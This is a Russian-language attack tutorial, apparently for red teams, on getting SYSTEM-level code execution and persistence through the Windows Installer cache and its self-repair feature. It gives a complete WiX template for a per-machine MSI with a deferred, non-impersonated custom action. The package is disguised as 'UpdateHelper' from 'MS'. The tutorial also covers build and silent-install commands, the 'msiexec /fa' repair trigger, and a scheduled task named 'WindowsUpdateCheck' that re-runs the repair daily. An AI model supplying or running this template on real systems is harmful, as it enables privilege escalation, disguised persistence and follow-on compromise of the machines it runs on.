Каждый установленный MSI кэшируется в
C:\Windows\Installer\ под случайным именем (*.msi).Механизм self-repair позволяет перезапускать custom actions от имени
NT AUTHORITY\SYSTEM, если установка была per-machine.Когда MSI устанавливается с привилегиями SYSTEM (per-machine install), Windows сохраняет копию пакета в Installer cache. Дальше любая команда вида:
msiexec /fa {PRODUCT-CODE-GUID}запускает reinstall all files - и вместе с ним все custom actions из закэшированного MSI, причём от SYSTEM, даже если триггер пришёл от обычного пользователя через службу Windows Installer.
Минимальный
payload.wxs:<?xml version="1.0" encoding="UTF-8"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Id="*" Name="UpdateHelper" Language="1033"
Version="1.0.0.0" Manufacturer="MS"
UpgradeCode="PUT-YOUR-GUID-HERE">
<Package InstallerVersion="200" Compressed="yes"
InstallScope="perMachine" />
<Media Id="1" Cabinet="data.cab" EmbedCab="yes" />
<Directory Id="TARGETDIR" Name="SourceDir">
<Directory Id="ProgramFiles64Folder">
<Directory Id="INSTALLFOLDER" Name="UpdateHelper" />
</Directory>
</Directory>
<Feature Id="Main" Title="Main" Level="1">
<ComponentRef Id="Dummy"/>
</Feature>
<DirectoryRef Id="INSTALLFOLDER">
<Component Id="Dummy" Guid="*">
<File Id="dummy" Source="dummy.txt" KeyPath="yes"/>
</Component>
</DirectoryRef>
<!-- Полезная нагрузка -->
<CustomAction Id="Payload"
ExeCommand='cmd.exe /c whoami > C:\Windows\Temp\who.txt'
Directory="INSTALLFOLDER"
Execute="deferred"
Impersonate="no"
Return="ignore"/>
<InstallExecuteSequence>
<Custom Action="Payload" After="InstallFiles">1</Custom>
</InstallExecuteSequence>
</Product>
</Wix>
Ключевые атрибуты:
-
InstallScope="perMachine" — иначе кэш будет в профиле пользователя и SYSTEM не получится-
Execute="deferred" + Impersonate="no" — выполнение из контекста msiserver под SYSTEM-
Return="ignore" — чтобы падение payload не откатывало установкуСборка:
candle payload.wxs
light payload.wixobj -o payload.msi
Установка и триггер
msiexec /i payload.msi /quiet
После этого MSI лежит в
C:\Windows\Installer\<random>.msi, ProductCode виден в:HKLM\SOFTWARE\Classes\Installer\Products\
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\
Триггер для повторного запуска под SYSTEM:
msiexec /fa {PRODUCT-CODE}Дополнительно подкрепляется через
schtasks /create /tn "WindowsUpdateCheck" /sc daily /st 09:00 ^
/tr "msiexec /fa {GUID} /qn"